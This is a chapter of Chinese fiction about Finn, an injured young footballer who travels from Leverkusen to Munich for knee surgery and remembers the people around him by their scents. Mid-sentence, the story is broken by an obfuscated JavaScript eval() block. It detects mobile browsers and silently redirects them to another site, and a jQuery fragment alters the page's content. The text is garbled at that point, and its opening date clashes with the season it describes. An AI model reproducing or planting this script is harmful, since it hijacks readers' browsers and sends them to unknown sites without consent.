2007年8月21日，凌晨四点。
芬恩没有睡。
窗外的勒沃库森沉在十一月最深的黑暗里。他侧躺着，脸朝向窗户，玻璃上映出一个模糊的影子。
那头金发在夜灯下是灰的。
不是那种干净的灰，是洗过太多次、褪了色、落满尘埃的灰。从芝加哥带来的洗发水早用完了，李琳给他买的新牌子，他也不知道为什么颜色越洗越淡。
像冬天勒沃库森的天空。
他抬起手，把垂到额前的那缕头发拨开。
指间什么都没有留下。
没有味道。
他自己的头发，什么味道都没有。
他放下手。
——那个人身上是有味道的。
他从来没有告诉过任何人。
2004年芝加哥那个雪夜，他倒在雪地里，意识像坏掉的冰面一块一块剥落。听觉先消失，然后视觉，最后触觉。
但在那一切消失之前，在那个模糊的影子弯腰抱起他的瞬间——
他闻到了。
不是香水，不是洗衣液，不是任何他曾经在别人身上闻到过的东西。
是冷冽的雪松。
是旧皮革。
是风。
他把那个味道压在记忆最底层，像把一张纸条压在枕头底下。
三年了。
他没有对任何人说过。
他不知道自己为什么还记得。
他只知道，在某些失眠的深夜，当勒沃库森的冬天静得像一座沉入海底的废墟时，他会闭上眼睛，试图在黑暗里重新闻到它。
雪松。
皮革。
风。
——然后那个味道就散了。
像雪。
他把手从膝盖上拿开。
窗玻璃上的影子也把手拿开。
灰白的头发。
他不再看那个影子。
五点四十七分，汉斯来了。
他推开病房门的时候，身后还跟着一个人。
李琳。
芬恩看着她。
她站在门口，没有立刻进来。围巾还围着，大衣没脱，手里拎着那个蓝色的保温桶。
她是一夜没睡，还是根本没回家？
芬恩没有问。
他只是看着她。
李琳走过来。
她身上有味道。
不是香水，不是洗衣液。
是厨房的味道——热油、葱姜、一点点酱油的焦香。在冷了一整夜的病房里，这味道像一扇门，推开了一条缝。
她凌晨三点就起来煮粥了。
芬恩垂下眼睛。
李琳把保温桶放在床头柜上，拧开盖子。
热气冒出来。
白米粥。几粒枸杞，一点瘦肉末。
她身上那个味道被热汽冲散了。
芬恩没有抬头。
“手术前不能吃东西。”他说。
“我知道。”李琳把盖子盖回去，“带去慕尼黑，等你醒了吃。”
芬恩看着那个保温桶。
蓝色的外壳，磨损的提手。
他闻不到里面粥的味道。
盖子盖得太严了。
他点了点头。
李琳没有走。
她站在床边，看着他。
三秒。
然后她伸出手。
不是摸他的头。
是把被角往他下巴底下掖了掖。
她手上也有味道。
不是油烟的味。
是护手霜。茉莉花的。
他从来不知道她抹护手霜。
她走了。
芬恩一个人坐在病床上。
他低下头，闻自己的手背。
什么都没有。
只有消毒水。
七点整，俱乐部的车停在楼下。
汉斯拎着保温桶。
芬恩拄着拐杖站起来。
走廊很长。拐杖落在瓷砖上，一下，一下，一下。
他走到电梯口。
回头。
612的门关着。
他住了三天。
三天前，他被担架抬进来。
三天前，队医的手按在他膝盖上——消毒凝胶的味道，刺鼻，冰凉。
三天前，沃尔夫冈站在走廊尽头，背对着他点燃一支烟——烟味从门缝钻进来，苦的，涩的，他三年没闻过这个味道了。
三天前，没有人身上有雪松。
也没有人身上有茉莉。
他把这些味道一个一个收起来。
电梯门开了。
他走进去。
门合上的那一刻，他在反光的金属门上看见自己的脸。
金发是灰的。
眼睛是亮的。
他闻不到自己身上有什么味道。
九点十五分，慕尼黑。
医院的走廊比勒沃库森的白。
不是那种温暖的白，是冷白，像雪，像2004年芝加哥的雪。
消毒水的味道比勒沃库森更重。
芬恩坐在轮椅上，被护士推过一扇又一扇门。
他低着头，看自己的膝盖。
敷料是新的，白得刺眼。
他把手放上去。
隔着纱布，什么也摸不到。
没有温度。
没有形状。
那道疤好像消失了。
他知道它还在。
他只是在等。
等纱布拆开的那天，他会低下头，再一次看见它。
那时它会是什么味道？
他不知道。
伤疤没有味道。
伯格曼医生站在走廊尽头。
他翻完病历，抬起头，看了芬恩一眼。
三秒。
他闻起来是咖啡。
不是速溶的，是那种从保温杯里倒出来、已经在办公室里放了一个小时的、又苦又涩的黑咖啡。
还有消毒水。
还有——一点点薄荷。
他今天早上刮胡子了。
芬恩不知道自己为什么会注意到这些。
他只是看着伯格曼，听他说“半月板我尽量多留”。
他点头。
伯格曼转身走了两步。
然后他停下来，回头。
“你的头发天生这么淡？”
芬恩愣了一下。
“……不是。”
伯格曼没有再问。
他走了。
咖啡的味道还留在空气里。
芬恩低下头。
他想起那个人。
那个人闻起来不是咖啡。
是雪松。
是旧皮革。
是风。
十二点四十分。
芬恩躺在手术床上。
天花板是灰白色的。
他想起2004年芝加哥那间旅馆。
醒来时，天花板也是这个颜色。
床头有一张纸条。
那个人走了。
他醒来的时候，房间里只有消毒水的味道。
没有雪松。
没有皮革。
没有风。
他把手放在身侧。
麻醉师
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179381|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走过来。
他身上闻起来是洗衣液——那种超市里最便宜、一桶能用三个月的牌子。阳光晒过的味道。
“小朋友，准备睡觉了。”
芬恩没有纠正那个称呼。
他看着天花板。
麻醉面罩覆下来。
橡胶的味道。
他闭上眼睛。
——
醒来的时候，窗外是黑的。
不是勒沃库森的夜。
是慕尼黑的夜。
芬恩看着天花板。
灰白色。
和睡着前一模一样。
他不知道自己睡了多久。
他低下头。
左腿被固定在支架上，膝盖裹着厚厚的敷料。
他把手放上去。
隔着纱布，什么也摸不到。
他按了一下。
不疼。
他把手收回来。
闻了一下手背。
没有味道。
连消毒水都没有了。
麻醉把他的鼻子也麻掉了。
床头柜上，那个蓝色的保温桶还在。
他拧开盖子。
粥凉了。
他闻不到。
他把勺子放进去，舀了一口，送进嘴里。
冷掉的米粒有点硬。
吃不出味道。
他一口一口吃完了。
——
走廊里，汉斯站在窗边。
他手里拿着手机。
下午六点，一通未接来电。
伦敦号码。
他没有回拨。
他把手机放进口袋。
窗外慕尼黑沉沉的夜色。
他想起今早在病房里，芬恩看着李琳的眼神。
不是感激。
是不知道自己该怎么接受。
汉斯站了很久。
他闻不到自己身上有什么味道。
他从来不喷香水。
他只是站在那里，看着玻璃里自己模糊的影子。
灰白的头发——他自己的。
他今年五十二岁了。
他忽然不知道自己为什么要站在这里。
然后他转身，走回病房。
——
芬恩没有睡着。
他看着天花板。
他把手放回膝盖上。
隔着敷料，隔着那道正在缝合的新伤。
他想起那个人。
想起那间病房。
想起那三秒钟。
您在哪里？
他没有问出口。
他只是把手放在膝盖上。
很久。
窗玻璃上，有一个模糊的影子。
灰白的头发。
明亮的眼睛。
他看着那个影子。
那个影子看着他。
他先移开了目光。
——
他忽然很想闻到那个味道。
雪松。
皮革。
风。
他知道那个人换了香水。
他闻到的。
他不知道自己为什么还想着它。
他从来没有去找过。
他不会去找。
他只是——
想在闭上眼睛之前，再闻一次。
窗外慕尼黑的夜很安静。
他的膝盖没有疼。
他的鼻子还没有恢复知觉。
他闻不到任何东西。
他把手从膝盖上拿开。
放在枕边。
然后闭上眼睛。
——